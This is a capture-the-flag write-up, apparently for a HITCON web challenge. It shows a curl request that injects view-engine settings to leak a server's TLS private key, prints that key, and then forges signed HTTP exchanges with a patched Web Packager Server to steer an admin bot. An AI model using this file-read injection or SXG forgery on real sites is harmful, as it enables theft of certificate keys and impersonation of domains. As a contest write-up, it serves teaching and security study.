Tags: tls sxg web certificates certificate 

Rating:

## SXG
```
Extension=( 1.3.6.1.4.1.11129.2.1.22 )
====Critical=NO
====Data=05 00
```
The certificate used by the challenge has an extra extension allowing [SXG](https://web.dev/signed-exchanges/)

## Leaking the private key
```bash
curl -X "POST" "https://sharer.world/report" \
-H 'Content-Type: application/x-www-form-urlencoded; charset=utf-8' \
--data-urlencode "settings[views]=/opt/certificates" \
--data-urlencode "settings[view engine]=." \
--data-urlencode "settings[layout]=privkey.pem/dummy/"
```

```
-----BEGIN PRIVATE KEY-----
MIGHAgEAMBMGByqGSM49AgEGCCqGSM49AwEHBG0wawIBAQQgvHt3r9iQY3FLPPoY
/ORYMXYi2c0CKRLPB5m+G48EkZGhRANCAAT15yZTXMClrfDIsxy01ZneE73MM0PL
JAQLXS53gYuLKWAy2pO93QF3bcRsM+N7vtPdDn3hudSFG/a9TgzdwNzF
-----END PRIVATE KEY-----
```

## Create a signed response for https://admin-bot.sharer.world/flag

We use [Web Packager Server](https://github.com/google/webpackager/blob/main/cmd/webpkgserver/README.md) to create signed HTTP exchange (SXG) using the private key. The server acts as a reverse proxy, it will fetch the "real" page on https://admin-bot.sharer.world/flag and sign it so we change our hosts file:
```
127.0.0.1 admin-bot.sharer.world sharer.world
```
and create a HTTPS server that will server our fake `/flag` page, still using the leaked certificate
```py
from flask import Flask
app = Flask(__name__)

@app.route("/flag")
def flag():
return open("flag.html").read()

if __name__ == "__main__":
app.run(ssl_context=('fullchain.pem', 'privkey.pem'), debug=True, port=443)
```

Config of Web Packager Server:
```toml
[Listen]
Host = '0.0.0.0'
Port = 1337

[SXG]
# https://sam.ninja is my reverse proxy, it forwards the request to localhost:1337 (this webpkgserver)
CertURLBase = 'https://sam.ninja/webpkg/cert'

[SXG.Cert]
PEMFile = './fullchain.pem'
KeyFile = './privkey.pem'
CacheDir = '/tmp/webpkg'

[[Sign]]
Domain = 'admin-bot.sharer.world'

[Cache]
MaxEntries = 0
```
We get the signed HTTP exchange:
```bash
curl 'http://127.0.0.1:1337/priv/doc/https://admin-bot.sharer.world/flag' -H 'Accept: application/signed-exchange;v=b3' --output flag.sxg
```

We can then upload flag.sxg to the challenge and setting the MIME type to `application/signed-exchange;v=b3`

It will be available at https://sharer.world/file/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx

We cannot directly make the bot visit this file because it would load https://sharer.world/preview/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx while loads the file in a sandboxed iframe

## Making the bot visit https://sharer.world/file/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx
The bot can be triggered with a GET request:
https://admin-bot.sharer.world/visit?path=/file/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx&token=redacted-team-token

Chrome makes a GET request to the URL of the certificate specified in the SXG file so we can patch webpkgserver to use the full URL that we control:
```go
// https://github.com/google/webpackager/blob/53a1486f4205374a111a683a64aa5eedbacbbc7c/server/exchange.go#L100
// certURL = e.CertURLBase.ResolveReference(&url.URL{Path: urlPath})
certURL = e.CertURLBase
```
And update its config:
```toml
[SXG]
CertURLBase = 'https://admin-bot.sharer.world/visit?path=/file/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx&token=redacted-team-token'

[[Sign]]
Domain = 'sharer.world'
```

Again we request the signed exchange:
```bash
curl 'http://127.0.0.1:1337/priv/doc/https://sharer.world/' -H 'Accept: application/signed-exchange;v=b3' --output trigger-bot.sxg
```

We upload it to the challenge and report it. The bot will trigger another report and then visit our first page (https://admin-bot.sharer.world/flag)

> `hitcon{ok so the flag isn't even on that app wtf}`

Original writeup (https://gist.github.com/betrisey/d5645e5463c95ea7f1e28dcfa8d5bd02).